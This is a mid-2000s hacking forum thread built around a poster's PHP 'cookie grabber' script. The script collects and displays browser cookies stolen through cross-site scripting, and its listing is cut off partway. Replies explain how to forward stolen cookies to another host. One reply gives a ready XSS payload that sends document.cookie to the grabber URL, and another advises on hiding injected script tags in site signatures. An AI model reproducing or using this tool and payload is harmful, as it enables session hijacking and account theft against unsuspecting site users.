Cookie Grabber

Cookie Grabber - 09/23/05 08:23 AM

I just realized that I never posted this. This is a cookie grabber for use with XSS vulnerabilities coded in PHP by me. It's simple yet powerful by allowing you to view the cookies through an XHTML interface. There are even login features if you choose to enable them.

Code:
<?php
//Ghost's Cookie grabber v2.0

/* Begin Config Section */

//Password to access stolen cookies
$ConfigPassword = 'example123';

//File to write, chmodded 666
$CookieFile = "example.txt";

//Cookie name, use a-z A-Z 0-9 _
$ConfigCookie = 'make_this_a_complicated_string_a';

//Flag to identify you as wanting to retrieve cookies
$GetCookiesStr = "getcookies";
//Usage: http://www.sitename.tld/path/script.php?getcookies

//Flag to identify you as wanting to delete script and data file
$DeleteStr = "delete";
//Usage: http://www.sitename.tld/path/script.php?delete

//Name of variable you want to recover and store the stolen cookie
$StolenCookieStr = "str";
//Usage: http://www.sitename.tld/path/script.php?str=

//Place to send browser once cookie has been obtained
$Redirect = "http://www.google.com";

/* End Config Section */

$Self = $_SERVER['PHP_SELF'];
$GetCookies = $_GET["$GetCookiesStr"];
$Delete = $_GET["$DeleteStr"];
$StolenCookie = $_GET["$StolenCookieStr"];
/* Un-comment functions below for login features */

/*
//Remove the Symbols above (slash and asterisk) to enable login features.
//Remember to scroll down and remove the other part of the comment as well.
function LoggedIn()
{

global $ConfigCookie;
$Cookie = $_COOKIE["$ConfigCookie"];
if(isset($Cookie)) {
  return true;
} else {
  return false;
}

}

function LogIn()
{
global $ConfigCookie;
setcookie("$ConfigCookie");
DisplayCookies();
}

function Authenticate()
{
$Pass = $_POST['pass'];
global $ConfigPassword;
global $Self;

if($Pass == $ConfigPassword) {
   LogIn();
} else {
   ?>

can you set it to grab all cookies a user has grabbed?

Re: Cookie Grabber - 09/24/05 04:29 AM

If you mean by exporting the grabbed cookies somewhere other than they were hosted, you could do that by having the script request another URL via fopen with the cookie variable stored in the URL.

Re: Cookie Grabber - 01/14/06 11:23 AM

Could you tell me how to use it?

Re: Cookie Grabber - 01/14/06 11:00 PM

I answered that question in the PM you sent me.

Re: Cookie Grabber - 01/16/06 08:58 PM

Okay, people. I've been getting WAY too many private messages that could be resolved in this thread. If you have questions about this cookie grabber, or XSS in general, reply to this thread. If you need to, create a new thread, but DON'T private message me with that crap. I wont answer anything about this in a private message any longer. Private messages should be used to address things that can not be delt with in a public thread.

Re: Cookie Grabber - 01/16/06 10:18 PM

The code doesn't seem to function correctly in xanga. Is this code supposed to stand alone?

Re: Cookie Grabber - 01/16/06 11:35 PM

Yes.

Re: Cookie Grabber - 01/19/06 04:48 AM

You can't just 'steal' cookies. You have to exploit a browser that trusts javascript. Javascript combined with XSS (Cross site scripting) tecniques will allow you to steal cookies.

I'd suggest searching for information about XSS, cookies, javascript, and the HTTP protocol.

Re: Cookie Grabber - 01/19/06 10:58 PM

If you wanted to make it so that you coded this into a website and when someone visited it, it took their cookies what woul the code look like

Re: Cookie Grabber - 01/19/06 11:14 PM

and it sent the grabbe cookies to an email address

Re: Cookie Grabber - 01/20/06 12:56 AM

..and it stole their neopets password?

haha....

Re: Cookie Grabber - 01/20/06 04:15 PM

so can it be done
Posted by: Ghost

Re: Cookie Grabber - 01/20/06 09:30 PM

Yes it can be done, and I hope you don't expect a walk through.

If you want to know "If you wanted to make it so that you coded this into a website and when someone visited it, it took their cookies what and it sent the grabbe cookies to an email address woul the code look like", I suggest learning how to write PHP scripts or paying a professional to write it for you.

If you plan on utilizing such vulnerabilities, I expect you'll want to read about XSS, javascript, HTML, and the HTTP protocol.

Re: Cookie Grabber - 01/21/06 02:08 AM

there would be now way i could get you to do it for me?? I just was thinking that dont you have to tweak the code you posted above to get it to work.
Posted by: Ghost

Re: Cookie Grabber - 01/21/06 04:51 AM

There is absolutely no way I would do this for you, other than you paying me for the services. The fact is, I wrote that script for my personal use. I released it publicly because I believed that some people may find a use for the code, and be able to include or adapt it for their own releases. I don't intend to write code updates for somebody who wants to use it for a really lame purpose that I honestly don't care about. As Gizmo has put it "We're not here to hold your hand while you piss."

So, to help you out here, I will NOT be writing code for you, and if I were you, I would think it unwise to keep persiting along this line of questioning.

Don't expect to come into a community like this, ask a question, and expect everyone to drop everything they're doing just to help you with your stupid little want to gain access to some lame account on some lame website. Those of us here who know how to write code have taken time and energy to do it, and having someone who has absolutely no knowledge on the subject, or a wish to learn on the subject, is insulting to all of us who do care about what we're learning and want to learn more.

Re: Cookie Grabber - 05/21/06 09:08 PM

Don't even worry about it.

Re: Cookie Grabber - 11/02/06 02:15 AM

For those of you having trouble getting this to work, here's a hint:

<SCRIPT>location.href = "http://www.examplesite.com/script.php?str="+document.cookie</SCRIPT>

Thanks tons for this, Ghost

Sorry for the necro-bump, but I stumbled on this thread through google and it really helped me out.

Re: Cookie Grabber - 11/02/06 06:45 AM

You may want to look up the validity for the script tag's if embedding it randomly in sig's... keep in mind that a lot of sites are becoming more and more xhtml valid, and you'll give away what you're doing if it's throwing off the sites natural validity

Re: Cookie Grabber - 11/03/06 01:41 AM

It's a nice bit of code. I should really go through and remove the global variables though.
